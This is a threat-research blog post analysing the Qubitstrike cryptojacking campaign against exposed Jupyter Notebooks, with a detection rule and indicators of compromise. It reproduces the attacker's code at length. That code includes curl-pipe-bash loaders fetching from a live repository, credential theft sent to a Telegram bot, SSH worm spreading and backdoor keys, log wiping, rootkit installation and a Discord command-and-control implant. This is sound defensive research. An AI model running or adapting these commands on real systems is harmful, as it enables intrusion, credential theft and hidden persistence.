ブログ
/
Cloud
/
October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
18
Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine:

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash 

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to:

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code> 

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

  • Retrieving and executing the XMRig miner
  • Registering cron persistence and inserting an attacker-controlled SSH key
  • Retrieving and installing the Diamorphine rootkit
  • Exfiltrating credentials from the host
  • Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog.

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi 

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' '[email protected]' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }  

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
} 

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
} 

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root.

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
} 

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

  • executing the miner at reboot
  • executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
  • executing mi.sh on a daily basis
cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
} 

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22.

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config 

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators.

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds } 

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

@z4r0u1 Telegram user profile
Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host.

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
} 

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command.

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
} 

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system.

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
} 

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

Credential alert
Figure 3: Credential alert

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.  

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse.

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii') 

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below:

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code> 

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator.

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return 

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}')) 

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”,  however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Example Qubitstrike output displayed in Discord
Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References  

  1. https://blog.csdn.net/hubaoquanu/article/details/108700572
  2. https://medium.com/@EdwardCrowder/detecting-and-analyzing-zero-days-log4shell-cve-2021-44228-distributing-kinsing-go-lang-malware-5c1485e89178

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "[email protected]" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet } 

Indicators of compromise

Filename  SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

AI

/

July 10, 2026

AIインフラがアタックサーフェスの一部に

Default blog imageDefault blog image

AIインフラとアタックサーフェスの進化

多くの組織が生成AIを実運用環境に導入するなかで、企業のクラウド環境内に新たなインフラのレイヤーが出現しています。それはAIゲートウェイです。AIゲートウェイはユーザー、アプリケーション、基盤モデルの間に位置し、多くの場合クラウドの特権アクセスを保持し、さまざまなAIサービスへのアクセスを大規模に管理しています。

AIゲートウェイとは?

AIゲートウェイはユーザー、アプリケーション、基盤モデルの間に位置し、多くの場合クラウドの特権アクセスを保持し、さまざまなAIサービスへのアクセスを大規模に管理しています。

こうした役割から、AIゲートウェイは企業のアタックサーフェスのますます重要な一部になりつつあります。AIゲートウェイが侵害されれば、攻撃者に対して計算リソースへのアクセスだけでなく、クラウドアイデンティティ、モデルサービス、機密性の高いプロンプト、そして他の接続されたシステムへのアクセスも提供してしまいます。

